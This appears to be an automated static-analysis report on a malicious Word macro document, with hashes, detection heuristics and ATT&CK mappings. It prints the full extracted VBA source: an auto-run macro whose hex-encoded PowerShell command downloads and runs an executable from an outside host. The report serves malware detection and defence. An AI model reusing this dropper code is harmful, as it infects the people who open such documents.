Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b157ce98b9ed3a93…

MALICIOUS

Office (OOXML)

55.7 KB Created: 2021-01-31 23:09:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-05-29
MD5: c09104dc302aa035fee54ef5d886292a SHA-1: 97284ea156282842ab547884dac171321f81ee55 SHA-256: b157ce98b9ed3a9332efa93d9c534a1cee7463c81a9d683a05f44a1aedabe466
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro triggers the 'gfg' subroutine, which uses the Shell() function to execute a PowerShell command. This command downloads a second-stage executable from 'http://apo.palen.club:2095/rf/s2.exe' and saves it as '%TEMP%\pal.exe', then executes it. This indicates a dropper or downloader functionality.

Heuristics 7

  • ClamAV: Doc.Dropper.Generic-9823774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Generic-9823774-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1363 bytes
SHA-256: 3fe9f42fab6fb93b3349a1f215bb6c6f71a0f08d1df465781c1ed28827bff80f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub le0()


,"lejdtbqnvvekxpefcoztniriz" ,"fikfigjoljwitrvcaoabfmxhm" ,BitXOR(BitAnd(BitNot(35461),8349),1489) ,BitNot(BitAnd(Int(71643),6677)) ,BitRotate(BitNot(84120)) ,"npqaecbetktvgfzrkbaqesbxc" ,"bqodrvbwyvjgtgakjzjpatdeq" ,BitRotate(BitAnd(10264,2037)) ,BitXOR(BitXOR(

End Sub

Sub ap()

End Sub



Sub gfg()
Call Shell(ChrEncode("706F7765727368656C6C2E657865202D657865637574696F6E706F6C69637920627970617373202D572048696464656E202D636F6D6D616E6420286E65772D6F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F61706F2E70616C656E632E636C75623A323039352F72662F73322E657865272C24656E763A54656D702B275C70616C2E65786527293B284E65772D4F626A656374202D636F6D205368656C6C2E4170706C69636174696F6E292E5368656C6C457865637574652824656E763A54656D702B275C70616C2E6578652729"))
End Sub

Function ChrEncode(str)
    Dim i
    Dim sStr
    sStr = ""
    For i = 1 To Len(str) Step 2
        sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)))
    Next
    ChrEncode = sStr
End Function

Sub autoopen()
gfg
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: b9c46368817a6ba73c3caa77161c008fbd1bf57aefc99973dd58f5e27abfdff3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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